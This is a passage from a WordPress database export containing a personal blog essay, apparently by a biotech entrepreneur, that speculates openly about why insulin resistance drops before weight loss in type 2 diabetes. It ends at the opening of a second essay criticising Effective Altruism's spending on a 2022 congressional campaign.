/wp:image -->\n\n<!-- wp:paragraph -->\n<p><a target=\"_blank\" rel=\"noreferrer noopener\" href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F86cdb66f-ae1a-45e3-b564-fd390256b6bc_832x762.png\"></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note how there’s a 20% loss in glucose in a period of days, while the equivalent weight loss only occurs 3 months in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The<a href=\"https://www.sciencedirect.com/science/article/abs/pii/0002934388905001\">&nbsp;same pattern holds with fasting</a>&nbsp;and with<a href=\"https://diabetesjournals.org/diabetes/article/58/12/2741/23632/Low-Fat-Versus-Low-Carbohydrate-Weight-Reduction\">&nbsp;caloric deficits</a>. The loss in insulin resistance comes before the weight loss. To make things even stranger, for fasting and caloric-deficit diets, the insulin resistance bounces right back as soon as the subjects resume their normal diets. Presumably, the same results would hold true for gastric bypass surgery too, but it’s not really possible to easily resume a normal diet after gastric bypass.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, the next thing we might think is, “What’s a process that occurs quickly after fasting and stops after resuming a normal diet?” The answer to this would obviously be lipolysis, the breakdown of fat cells into fatty acids for the purpose of providing energy. The other side of this would then be that lipogenesis, the creation of fat cells, would be the cause of insulin resistance. In other words, it’s not being obese that causes insulin resistance, but&nbsp;<em>becoming</em>&nbsp;obese.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And, lo and behold, we get some evidence towards that, too. Namely, there’s&nbsp;<a href=\"https://www.jci.org/articles/view/134165\">an observed strong correlation between lipogenesis in the liver and insulin resistance</a>. In the past (and in the linked paper), it’s been assumed that insulin resistance causes lipogenesis, but the evidence could easily be used to support the opposite.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is all perfect. Mystery solved. Or at least, it would be, if obesity wasn’t so damn complicated.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Because, unfortunately, you know what else causes a drop in insulin resistance, both in mice and humans? Inhibiting lipolysis, either&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3576369/\">genetically</a>&nbsp;or&nbsp;<a href=\"https://www.nature.com/articles/ncomms14859#change-history\">pharmacologically</a>. Yup, literally the opposite of what I just suggested. Inhibiting lipolysis also causes an uptick in lipogenesis in some parts of the body (although a decrease in others), leading us to the unfortunate observed correlation that, at least in this case, lipogenesis is also correlated with a drop in insulin resistance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To be frank, that’s where I’m stuck. I don’t have a great explanation for this without venturing into some less-supported territory. However, if you are willing to clamber out with me on some metaphorical thin ice, then let’s proceed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let’s go back to our odd guy out in weight-loss strategies: the GLP-1 agonist, semaglutide. GLP-1 stands for glucagon-like peptide 1, a hormone that comes from the same precursor as glucagon, proglucagon (glucagon, if you don’t remember, is the opposite of insulin, in that it promotes the creation of blood sugar). GLP-1 is released from the intestines shortly after a meal to promote the secretion of insulin and so the uptake of glucose from the bloodstream.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What makes semaglutide and other GLP-1 agonists interesting is that they promote the secretion of insulin while promoting weight&nbsp;<em>loss</em>. This is really surprising, as direct administration of insulin causes weight&nbsp;<em>gain</em>, which is one of the cruel ironies of type 2 diabetics needing to take insulin. GLP-1 agonists seem to do this by&nbsp;<a href=\"https://www.sciencedirect.com/science/article/pii/S0168827815006248\">simultaneously inhibiting both lipolysis (through the secretion of insulin) and hepatic lipogenesis</a>, which suggests that the two don’t have to be mutually exclusive (i.e. you can have neither net lipolysis nor net lipogenesis).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This would also explain why inhibition of lipolysis in the mouse study above didn’t result in the net creation of fat mass in the mice. If lipolysis is inhibited but there’s no net lipogenesis (even if there is specific lipogenesis), there will still be an excess of fatty acids in the bloodstream. This signals to your body that there’s no need for any more glucose in your bloodstream right now, as there’s enough energy in the form of fatty acids. This would also result in a decrease in appetite, as normally a decrease in blood sugar would prompt an increase in appetite.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tying it all together, it’s all about the level of fatty acids in the bloodstream. If it’s high, whether because of active lipolysis or no net lipogenesis, insulin resistance decreases. If it’s low because of net lipogenesis, insulin resistance increases. We can also argue this is because low fatty acids allow for&nbsp;<a href=\"https://academic.oup.com/jcem/article/103/1/25/4584211?login=true\">spillover</a>&nbsp;of fatty acids into the bloodstream.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Personally, I like this theory, and I think it’s great. The real problem with it is that the data to back it up isn’t really there. Or, more to the point, there’s too much data, and it all points in different directions. I can cite studies that support my hypothesis and say&nbsp;<a href=\"https://scholar.google.com/scholar_lookup?title=Prospective%20association%20between%20fasting%20NEFA%20and%20type%202%20diabetes%3A%20impact%20of%20post-load%20glucose&amp;author=D%20Il%E2%80%99yasova&amp;author=F%20Wang&amp;author=RB%20D%E2%80%99Agostino&amp;author=A%20Hanley&amp;author=LE%20Wagenknecht&amp;publication_year=2010&amp;journal=Diabetologia&amp;volume=53&amp;pages=866-874\">high levels of FFA are inversely related to insulin resistance</a>&nbsp;or I can cite studies that go against my hypothesis and say&nbsp;<a href=\"https://scholar.google.com/scholar_lookup?title=Mechanisms%20of%20fatty%20acid-induced%20inhibition%20of%20glucose%20uptake&amp;author=G%20Boden&amp;author=X%20Chen&amp;author=J%20Ruiz&amp;author=JV%20White&amp;author=L%20Rossetti&amp;publication_year=1994&amp;journal=J%20Clin%20Invest&amp;volume=93&amp;pages=2438-2446\">high levels of FFA are associated with insulin resistance</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Frankly, it feels like a measurement problem. Measuring hydrophobic molecules with short half-lives is hard, and it’s tough to know who’s doing it correctly, especially when you’re looking at old papers. Until that’s settled, there’s only one thing to do, and assume my theory is 100% correct.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[1] Glucose, as you likely know, is your body’s standard way of storing and transporting energy. If you have no glucose, you die. If you have too much glucose, you’re usually ok temporarily, but chronically high levels of glucose causes weird warping of organs and body systems that aren’t meant to handle those high levels, and you end up with bad effects like&nbsp;<a href=\"https://en.wikipedia.org/wiki/Diabetic_neuropathy#Pathogenesis\">nerve damage</a>&nbsp;and blindness.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, your body tries to keep glucose levels in a healthy range. This is complicated by the fact&nbsp; that not only do you use glucose as fuel, but you also randomly take in large amounts of it whenever you eat a meal. So, your glucose (or blood sugar) levels end up looking like this throughout the day.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F36feaae7-ac71-4537-b2b4-c54134154871_600x450.png\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a target=\"_blank\" rel=\"noreferrer noopener\" href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F36feaae7-ac71-4537-b2b4-c54134154871_600x450.png\"></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In order for your glucose levels to remain within a range, your body has a couple hormones it uses as signals for your cells to either take up glucose or to increase the production of glucose. Insulin is the main signal for your cells to take up glucose. As you might imagine, this sort of bodywide signal has a lot of downstream effects, as the act of taking up glucose prompts and causes many other processes to occur.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So far, so good. Insulin resistance is what it sounds like: your body cells don’t react to the insulin signal in the same way they used to. A downstream result of this is that blood glucose levels remain high despite the production of a certain level of insulin, prompting the body to produce even more insulin. If insulin resistance escalates, at some point the pancreas can’t produce enough insulin, which is when type 2 diabetes develops (there’s also&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3608918/\">some complicated relationship with the pancreatic cells working overtime and then actually losing the ability to produce insulin</a>, but let’s leave that for now).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Type 2 diabetes, then, is defined by an excess of blood glucose caused by not enough insulin. There’s are a few different ways of diagnosing it: excessively high blood glucose when fasting, excessively high blood glucose after eating glucose, a high percentage of hemoglobin chemically bonded to glucose, or, my personal favorite, the old school method of tasting urine and seeing if there’s glucose in it (in a normal person, the kidneys filter out all the glucose from the urine before it’s eliminated).</p>\n<!-- /wp:paragraph -->','Obesity\'s relationship with type 2 diabetes is really weird','','publish','closed','closed','','obesitys-relationship-with-type-2-diabetes-is-really-weird','','','2022-05-27 14:33:11','2022-05-27 14:33:11','',0,'https://trevorklee.com/?page_id=287',0,'page','',0),
(288,1,'2022-05-27 14:33:11','2022-05-27 14:33:11','<!-- wp:paragraph -->\n<p>Obesity is a really complicated subject. I once had a 3 month long project trying to develop a therapeutic for obesity-related asthma stymied by the graph below.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F53449213-5882-44b3-935e-a516334bcb7c_500x376.png\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a target=\"_blank\" rel=\"noreferrer noopener\" href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F53449213-5882-44b3-935e-a516334bcb7c_500x376.png\"></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I was completely unable to explain why obesity-related asthma (which is generally more serious and more treatment-resistant than normal asthma) only seemed to affect obese women, and so I had to give up my proposed therapeutic and <a href=\"http://highwaypharm.com/\">turn to autoimmune diseases</a> instead.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That being said, obesity is also a fascinating and important subject, which is why I keep returning to it. Obesity has become a global epidemic, spreading&nbsp;<a href=\"https://jamanetwork.com/journals/jamapediatrics/fullarticle/2668504\">almost like a disease</a>. It’s&nbsp;<a href=\"https://www.nature.com/articles/ijo201799\">almost</a>&nbsp;always associated with worse health outcomes in a host of different conditions (at least 13, by the CDC’s&nbsp;<a href=\"https://www.cdc.gov/healthyweight/effects/index.html\">count</a>). And, despite our best efforts, we still don’t have a single good answer as to the cause of obesity’s rapid rise in prevalence.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In this essay, I want to zoom in on a really specific disease that’s heavily associated with obesity: type 2 diabetes. Type 2 diabetes, if you don’t remember, is the type of diabetes that’s associated with insulin resistance, rather than insulin-producing cell destruction (and if you want a brief refresher on insulin and its relation with glucose/blood sugar in general, follow the footnote [1]).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, obesity causes diabetes. That much is indisputable.&nbsp;<a href=\"https://jamanetwork.com/journals/jama/article-abstract/195663\">Compared with adults with normal weight, adults with a BMI of 40 or higher had an odds ratio (OR) of 7.37 for diagnosed diabetes</a>, which is comparable to the&nbsp;<a href=\"https://bmccancer.biomedcentral.com/articles/10.1186/s12885-018-5144-5\">odds ratio of ever smoking for lung cancer</a>. Furthermore, we can see that there’s a direct correlation of weight (and more specifically,&nbsp;<a href=\"https://sci-hubtw.hkvisa.net/10.1016/j.jpeds.2005.10.001\">waist circumference</a>) with insulin resistance, which leads directly to type 2 diabetes. Basically, if you’re obese, type 2 diabetes is a really serious health risk, and one of the main causes for early mortality of obese people.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When we look into why this happens, however, things get a lot murkier. Part of the problem is that a lot of things happen when a person becomes obese like growth of fat cells,&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5507106/\">an increase in body-wide inflammation</a>, and&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7333005/\">a change in the microbiome</a>. You could conceivably link all of these to insulin resistance (and people have), although none of them have an easy mechanical link in the same way as, say, obesity and high blood pressure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Instead of pursuing difficult-to-falsify correlative chains, though, let’s approach the same problem from a different angle. Instead of asking why obesity causes type 2 diabetes, let’s ask how we could reverse type 2 diabetes, and see if that gives us any ideas about the cause. Once we do so, we’ll see that things get really weird.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, weight gain causes insulin resistance which causes type 2 diabetes. Naively then, we might think the best way to reverse type 2 diabetes would be weight loss.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And, funnily enough, that actually works. Every successful method of weight loss that I’m aware of results in at least a temporary drop in insulin resistance and a temporary cessation of the need for type 2 diabetics to use insulin. This includes&nbsp;<a href=\"https://journals.lww.com/co-clinicalnutrition/Abstract/2020/07000/Insulin_resistance_in_bariatric_surgery.7.aspx\">bariatric surgery</a>,&nbsp;<a href=\"https://www.sciencedirect.com/science/article/abs/pii/0002934388905001\">fasting</a>,&nbsp;<a href=\"https://diabetesjournals.org/diabetes/article/58/12/2741/23632/Low-Fat-Versus-Low-Carbohydrate-Weight-Reduction\">eating at a caloric deficit from a low-carb or low calorie diet</a>, and&nbsp;<a href=\"https://academic.oup.com/jcem/article/104/9/4078/5423568?login=true\">the GLP-agonist semaglutide</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s the weird part, though. For every one of those methods that there’s data for, the drop in insulin resistance occurs&nbsp;<em>before</em>&nbsp;the vast majority of the weight loss. For example, the below graphs are from a paper showing&nbsp;<a href=\"https://sci-hubtw.hkvisa.net/10.1381/0960892053723402\">the effects of Roux-en-Y Gastric Bypass surgery on obese diabetics and non diabetics</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F927cb862-a5ac-4023-bbbb-4f873ecaf30f_844x904.png\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a target=\"_blank\" rel=\"noreferrer noopener\" href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F927cb862-a5ac-4023-bbbb-4f873ecaf30f_844x904.png\"></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F86cdb66f-ae1a-45e3-b564-fd390256b6bc_832x762.png\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a target=\"_blank\" rel=\"noreferrer noopener\" href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F86cdb66f-ae1a-45e3-b564-fd390256b6bc_832x762.png\"></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note how there’s a 20% loss in glucose in a period of days, while the equivalent weight loss only occurs 3 months in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The<a href=\"https://www.sciencedirect.com/science/article/abs/pii/0002934388905001\">&nbsp;same pattern holds with fasting</a>&nbsp;and with<a href=\"https://diabetesjournals.org/diabetes/article/58/12/2741/23632/Low-Fat-Versus-Low-Carbohydrate-Weight-Reduction\">&nbsp;caloric deficits</a>. The loss in insulin resistance comes before the weight loss. To make things even stranger, for fasting and caloric-deficit diets, the insulin resistance bounces right back as soon as the subjects resume their normal diets. Presumably, the same results would hold true for gastric bypass surgery too, but it’s not really possible to easily resume a normal diet after gastric bypass.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, the next thing we might think is, “What’s a process that occurs quickly after fasting and stops after resuming a normal diet?” The answer to this would obviously be lipolysis, the breakdown of fat cells into fatty acids for the purpose of providing energy. The other side of this would then be that lipogenesis, the creation of fat cells, would be the cause of insulin resistance. In other words, it’s not being obese that causes insulin resistance, but&nbsp;<em>becoming</em>&nbsp;obese.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And, lo and behold, we get some evidence towards that, too. Namely, there’s&nbsp;<a href=\"https://www.jci.org/articles/view/134165\">an observed strong correlation between lipogenesis in the liver and insulin resistance</a>. In the past (and in the linked paper), it’s been assumed that insulin resistance causes lipogenesis, but the evidence could easily be used to support the opposite.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is all perfect. Mystery solved. Or at least, it would be, if obesity wasn’t so damn complicated.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Because, unfortunately, you know what else causes a drop in insulin resistance, both in mice and humans? Inhibiting lipolysis, either&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3576369/\">genetically</a>&nbsp;or&nbsp;<a href=\"https://www.nature.com/articles/ncomms14859#change-history\">pharmacologically</a>. Yup, literally the opposite of what I just suggested. Inhibiting lipolysis also causes an uptick in lipogenesis in some parts of the body (although a decrease in others), leading us to the unfortunate observed correlation that, at least in this case, lipogenesis is also correlated with a drop in insulin resistance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To be frank, that’s where I’m stuck. I don’t have a great explanation for this without venturing into some less-supported territory. However, if you are willing to clamber out with me on some metaphorical thin ice, then let’s proceed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let’s go back to our odd guy out in weight-loss strategies: the GLP-1 agonist, semaglutide. GLP-1 stands for glucagon-like peptide 1, a hormone that comes from the same precursor as glucagon, proglucagon (glucagon, if you don’t remember, is the opposite of insulin, in that it promotes the creation of blood sugar). GLP-1 is released from the intestines shortly after a meal to promote the secretion of insulin and so the uptake of glucose from the bloodstream.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What makes semaglutide and other GLP-1 agonists interesting is that they promote the secretion of insulin while promoting weight&nbsp;<em>loss</em>. This is really surprising, as direct administration of insulin causes weight&nbsp;<em>gain</em>, which is one of the cruel ironies of type 2 diabetics needing to take insulin. GLP-1 agonists seem to do this by&nbsp;<a href=\"https://www.sciencedirect.com/science/article/pii/S0168827815006248\">simultaneously inhibiting both lipolysis (through the secretion of insulin) and hepatic lipogenesis</a>, which suggests that the two don’t have to be mutually exclusive (i.e. you can have neither net lipolysis nor net lipogenesis).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This would also explain why inhibition of lipolysis in the mouse study above didn’t result in the net creation of fat mass in the mice. If lipolysis is inhibited but there’s no net lipogenesis (even if there is specific lipogenesis), there will still be an excess of fatty acids in the bloodstream. This signals to your body that there’s no need for any more glucose in your bloodstream right now, as there’s enough energy in the form of fatty acids. This would also result in a decrease in appetite, as normally a decrease in blood sugar would prompt an increase in appetite.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tying it all together, it’s all about the level of fatty acids in the bloodstream. If it’s high, whether because of active lipolysis or no net lipogenesis, insulin resistance decreases. If it’s low because of net lipogenesis, insulin resistance increases. We can also argue this is because low fatty acids allow for&nbsp;<a href=\"https://academic.oup.com/jcem/article/103/1/25/4584211?login=true\">spillover</a>&nbsp;of fatty acids into the bloodstream.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Personally, I like this theory, and I think it’s great. The real problem with it is that the data to back it up isn’t really there. Or, more to the point, there’s too much data, and it all points in different directions. I can cite studies that support my hypothesis and say&nbsp;<a href=\"https://scholar.google.com/scholar_lookup?title=Prospective%20association%20between%20fasting%20NEFA%20and%20type%202%20diabetes%3A%20impact%20of%20post-load%20glucose&amp;author=D%20Il%E2%80%99yasova&amp;author=F%20Wang&amp;author=RB%20D%E2%80%99Agostino&amp;author=A%20Hanley&amp;author=LE%20Wagenknecht&amp;publication_year=2010&amp;journal=Diabetologia&amp;volume=53&amp;pages=866-874\">high levels of FFA are inversely related to insulin resistance</a>&nbsp;or I can cite studies that go against my hypothesis and say&nbsp;<a href=\"https://scholar.google.com/scholar_lookup?title=Mechanisms%20of%20fatty%20acid-induced%20inhibition%20of%20glucose%20uptake&amp;author=G%20Boden&amp;author=X%20Chen&amp;author=J%20Ruiz&amp;author=JV%20White&amp;author=L%20Rossetti&amp;publication_year=1994&amp;journal=J%20Clin%20Invest&amp;volume=93&amp;pages=2438-2446\">high levels of FFA are associated with insulin resistance</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Frankly, it feels like a measurement problem. Measuring hydrophobic molecules with short half-lives is hard, and it’s tough to know who’s doing it correctly, especially when you’re looking at old papers. Until that’s settled, there’s only one thing to do, and assume my theory is 100% correct.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[1] Glucose, as you likely know, is your body’s standard way of storing and transporting energy. If you have no glucose, you die. If you have too much glucose, you’re usually ok temporarily, but chronically high levels of glucose causes weird warping of organs and body systems that aren’t meant to handle those high levels, and you end up with bad effects like&nbsp;<a href=\"https://en.wikipedia.org/wiki/Diabetic_neuropathy#Pathogenesis\">nerve damage</a>&nbsp;and blindness.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, your body tries to keep glucose levels in a healthy range. This is complicated by the fact&nbsp; that not only do you use glucose as fuel, but you also randomly take in large amounts of it whenever you eat a meal. So, your glucose (or blood sugar) levels end up looking like this throughout the day.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F36feaae7-ac71-4537-b2b4-c54134154871_600x450.png\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a target=\"_blank\" rel=\"noreferrer noopener\" href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F36feaae7-ac71-4537-b2b4-c54134154871_600x450.png\"></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In order for your glucose levels to remain within a range, your body has a couple hormones it uses as signals for your cells to either take up glucose or to increase the production of glucose. Insulin is the main signal for your cells to take up glucose. As you might imagine, this sort of bodywide signal has a lot of downstream effects, as the act of taking up glucose prompts and causes many other processes to occur.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So far, so good. Insulin resistance is what it sounds like: your body cells don’t react to the insulin signal in the same way they used to. A downstream result of this is that blood glucose levels remain high despite the production of a certain level of insulin, prompting the body to produce even more insulin. If insulin resistance escalates, at some point the pancreas can’t produce enough insulin, which is when type 2 diabetes develops (there’s also&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3608918/\">some complicated relationship with the pancreatic cells working overtime and then actually losing the ability to produce insulin</a>, but let’s leave that for now).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Type 2 diabetes, then, is defined by an excess of blood glucose caused by not enough insulin. There’s are a few different ways of diagnosing it: excessively high blood glucose when fasting, excessively high blood glucose after eating glucose, a high percentage of hemoglobin chemically bonded to glucose, or, my personal favorite, the old school method of tasting urine and seeing if there’s glucose in it (in a normal person, the kidneys filter out all the glucose from the urine before it’s eliminated).</p>\n<!-- /wp:paragraph -->','Obesity\'s relationship with type 2 diabetes is really weird','','inherit','closed','closed','','287-revision-v1','','','2022-05-27 14:33:11','2022-05-27 14:33:11','',287,'https://trevorklee.com/?p=288',0,'revision','',0),
(289,1,'2022-05-27 14:35:41','2022-05-27 14:35:41','<!-- wp:paragraph -->\n<p>This essay is pretty far outside my usual beat of niche biology topics, but I thought it was important. If you find it boring or distasteful, don’t worry, I don’t intend this to be a regular thing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To start off with, I’d like to say that I am very sympathetic to effective altruism (or EA, for short) and its goals. Both the philosophy and the community have had a big impact on my life and my business. I also think EA would definitely be a beneficial force in American politics, which sorely needs good people.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All of this this is why it makes me so sad that EA has just spectacularly fumbled its first foray into electoral politics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, if you’re not up to date on current US politics, the Effective Altruism community&nbsp;<a href=\"https://www.google.com/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=&amp;cad=rja&amp;uact=8&amp;ved=2ahUKEwjy46626v_3AhU8q4QIHf7tCk8QvOMEKAB6BAgFEAE&amp;url=https%3A%2F%2Fwww.marketwatch.com%2Fstory%2Fdespite-11-million-in-donations-from-a-crypto-billionaire-carrick-flynn-loses-big-in-oregon-primary-11652887087&amp;usg=AOvVaw2ZnTLRmcEqgAYB61XbvwaN\">has just blown about $14 million on the Carrick Flynn campaign</a>, including $7-$11 million (numbers vary) from Sam Bankman-Fried, the effective altruist crypto billionaire. Carrick Flynn is a guy with impeccable effective altruist credentials and very little political experience who ran in the Democratic primary for a newly created House seat in Oregon. He lost to Andrea Salinas, a longtime local Democratic political operative in that area, albeit one who never ran for election. She, needless to say, did not spend $14 million on her campaign.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>$14 million would have been a lot of money to spend on Flynn’s campaign even if he had won, as it’s difficult for any Congressperson to make a difference in today’s government, nevermind an incredibly junior Congressman with no political experience. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Considering that Carrick lost, it’s, well, a shitton of money. I don’t want to bring up the whole bednets thing, but $14 million buys a lot of bednets.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If the EA community plans to have political influence/run candidates in the future, I think there needs to be a much better plan than what there was for Carrick, which mostly seemed to be “EA guy decides he wants to run, everyone gives him money”. After all, this is supposed to be a&nbsp;<em>rational</em>&nbsp;community, and that doesn’t seem like a particularly rational strategy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This essay is an attempt to develop the frameworks of that plan. It’s based around Dominic Cummings’ long, detailed, somewhat rambling blogs (<a href=\"https://dominiccummings.com/2017/01/09/on-the-referendum-21-branching-histories-of-the-2016-referendum-and-the-frogs-before-the-storm-2/\">1</a>,&nbsp;<a href=\"https://dominiccummings.com/2016/10/29/on-the-referendum-20-the-campaign-physics-and-data-science-vote-leaves-voter-intention-collection-system-vics-now-available-for-all/\">2</a>, and&nbsp;<a href=\"https://dominiccummings.files.wordpress.com/2017/01/2016-ref-address.pdf#page=2\">3</a>) on how he thought out the Leave Campaign for Brexit, which was a very well-run campaign that accomplished its goals despite a lot of structural disadvantages and starting very far behind in the polls. It’s filtered through my experience selling stuff: although I’ve never run a campaign, I’ve been self-employed my whole life, selling my services, products, and software to the consumer world at large. I’m pretty good at selling a story, in other words.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Of course, neither my sources nor my own background are perfectly fitted to this task. There will definitely be gaps and errors in this document. I hope to get input from more knowledgeable people to fix it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, I just have to say, when I say more knowledgeable, I mean people who’ve actually participated in running a campaign, not people who are “political junkies” or pundits. As someone who’s done a lot of combat sports in my life, I am very aware of how ineffective combat sports fans are once they get punched in the face. I have to assume the same is true of political fans once they actually have to make a decision.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>1. Campaigns don’t make waves, they ride them.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>One of the most important things that Dominic Cummings harps on is the fundamental idea above: campaigns don’t make waves, they ride them. I’ve also heard this as “The art of being a politician is to find a parade, start marching at the head of it, and then claim you’re the leader”.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure 